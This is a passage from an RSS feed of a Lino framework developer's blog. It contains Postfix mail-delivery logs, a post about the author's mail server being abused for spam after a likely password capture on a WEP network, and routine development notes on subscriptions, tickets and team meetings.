class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;spamassassin&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="n"&gt;AF21672&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pickup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;17597&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1008&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cleanup&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16471&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;20230121230341.2&lt;/span&gt;&lt;span class="n"&gt;BAFFC26FBE2B2BA&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;opendkim&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;627&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DKIM&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;field&lt;/span&gt; &lt;span class="n"&gt;added&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;cw4826878&lt;/span&gt;&lt;span class="nd"&gt;@gmail&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nrcpt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16519&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;16519&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;hannes&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;orig_to&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt;&lt;span class="nd"&gt;@saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;relay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.04&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;delays&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0.01&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;2.0.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;maildir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Jan&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;03&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt; &lt;span class="n"&gt;saffre&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rumma&lt;/span&gt; &lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;qmgr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;28134&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="n"&gt;C9C21701&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;removed&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0122.html</guid><pubDate>Sun, 22 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Oops, our mail server is sending spam!</title><link>https://luc.lino-framework.org/blog/2023/0109.html</link><description>&lt;section id="oops-our-mail-server-is-sending-spam"&gt;
&lt;h1&gt;Oops, our mail server is sending spam!&lt;a class="headerlink" href="#oops-our-mail-server-is-sending-spam" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Monday, January 9, 2023&lt;/p&gt;
&lt;p&gt;I am currently using a Wi-Fi network that still uses &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Wired_Equivalent_Privacy"&gt;WEP&lt;/a&gt; security, which is
known to be insecure.&lt;/p&gt;
&lt;p&gt;A few days after I started to use this network, our SR server started to send
spam and hence was blocked by OVH to protect their network.&lt;/p&gt;
&lt;p&gt;It had received this spam (190000 mails) from mail10.lwspanel.com, a server that
runs &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Roundcube"&gt;Roundcube&lt;/a&gt;. The
mail10.lwspanel.com itself is probably innocent, but one of their users is a
spammer.&lt;/p&gt;
&lt;p&gt;I guess that the spammer spoofed my password on SR, and that’s why SR accepted
these mails.&lt;/p&gt;
&lt;p&gt;I wonder whether there is a connection method that can’t be spoofed even on a
low-security network.&lt;/p&gt;
&lt;p&gt;Security settings in Thunderbird:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Connection security: “None” or “STARTTLS” (Port 110) or “SSL/TLS” (Port 995)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Authentication method is “Normal password” or “Encrypted password” or
“Kerberos / GSSAPI” or “NTLM” or “OAuth2”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both STARTTLS nor SSL/TLS need my password (they fail after I changed my
password on the server). But I won’t tell Thunderbird my new password until I
feel secure again.&lt;/p&gt;
&lt;p&gt;Our server SR works only when authentication method is “Normal password”. Can
Postfix also do “Encrypted password” or “OAuth2”?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/0109.html</guid><pubDate>Mon, 09 Jan 2023 00:00:00 +0000</pubDate></item><item><title>Sunday, January 8, 2023</title><link>https://luc.lino-framework.org/blog/2023/0108.html</link><description>&lt;section id="sunday-january-8-2023"&gt;
&lt;h1&gt;Sunday, January 8, 2023&lt;a class="headerlink" href="#sunday-january-8-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="start-using-subscriptions-on-jane"&gt;
&lt;h2&gt;Start using subscriptions on Jane&lt;a class="headerlink" href="#start-using-subscriptions-on-jane" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Regarding &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4784"&gt;#4784&lt;/a&gt;: Yes, subscriptions will be referrable.  Our
subscriptions are long-term agreements and we refer to them in our daily work
using a nickname. There is usually one subscription per customer, but some
customers have multiple subscriptions. On the other hand they are vouchers in a
journal and have a number because they are certifiable and legally valid
documents, but they don’t create any ledger movements. Our customers don’t pay
for signing an agreement with us (they pay every year for the invoice that gets
generated by the agreement). For the (few) customers who want a service report,
the service reports will now be automatically generated as monthly “invoices”.&lt;/p&gt;
&lt;p&gt;I updated TicketOrderChecker so that I can run it after the next release to
Jane. I will have to delete the current subscriptions before running it (e.g. by
commenting out the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;execfile&lt;/span&gt; &lt;span class="pre"&gt;subscriptions_subscription&lt;/span&gt;&lt;/code&gt; line in the
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file).&lt;/p&gt;
&lt;p&gt;Spontaneous optimization &lt;em&gt;en passant&lt;/em&gt;: the plugins &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;subscriptions&lt;/span&gt;&lt;/code&gt; and
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tickets&lt;/span&gt;&lt;/code&gt; unite now with the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;working&lt;/span&gt;&lt;/code&gt; plugin into the “Working time” menu
group.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.tickets.html#module-lino_xl.lib.tickets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.tickets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.ActiveTickets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ActiveTickets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and all other &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-data-table" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data
tables&lt;/span&gt;&lt;/a&gt; on &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Ticket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Ticket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer show the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.overview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;overview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field but the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;detail_link&lt;/span&gt;&lt;/code&gt; of every ticket.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-simple-text-representation" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;simple text representation&lt;/span&gt;&lt;/a&gt; of &lt;a class="reference external" href="https://dev.lino-framework.org/specs/tickets.html#lino_xl.lib.tickets.Ticket" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Ticket&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer includes the
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.Choice.button_text" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;button_text&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of the ticket’s
state.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="welcome-to-our-team-fahmida"&gt;
&lt;h2&gt;Welcome to our team, Fahmida&lt;a class="headerlink" href="#welcome-to-our-team-fahmida" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;From 10:30 to 11:30 Sharif and I had a first Jitsi meeting with Fahmida.&lt;/p&gt;
&lt;p&gt;Fahmida lives in Bangladesh, like Sharif. She has learned theory about software
development at university during 4 years. Now she wants to meet reality. She
plans to get started as a volunteer contributor.&lt;/p&gt;
&lt;p&gt;We decided that we will have a &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Stand-up_meeting"&gt;stand-up meeting&lt;/a&gt; every day at 9:00 UTC (which
is 10:00 in Belgium and 15:00 in Bangladesh).&lt;/p&gt;
&lt;p&gt;The meetings will be in our virtual office room on Jitsi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://meet.jit.si/synodalsoft"&gt;https://meet.jit.si/synodalsoft&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/section&gt;
&lt;section id="quiz-of-the-day"&gt;
&lt;h2&gt;Quiz of the day&lt;a class="headerlink" href="#quiz-of-the-day" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I’d like the test runner to give me a list of the failing test cases. Something
like the following:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cms&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;commands&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dump2py&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;action_parameters&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;actors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;admin_main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;subscriptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;delayed_values&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cosi5&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;noi&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Hint: doctests run using &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.test.DocTestCase&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="availability-and-presences-planning"&gt;
&lt;h2&gt;Availability and presences planning&lt;a class="headerlink" href="#availability-and-presences-planning" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I created ticket &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4786"&gt;#4786&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Each worker should be able to (optionally) register into Jane their “presences”
or “availability” already in advance. When I go online and am “available” (for
talk or for chat or email), I would click the play button, similar to what we do
when working on a ticket. These sessions are kind of a “higher” level: they
remain active for the whole working session.&lt;/p&gt;
&lt;p&gt;We will probably also use this in Lino Presto.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="lino-daemon-and-async-processes"&gt;
&lt;h2&gt;Lino daemon and async processes&lt;a class="headerlink" href="#lino-daemon-and-async-processes" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
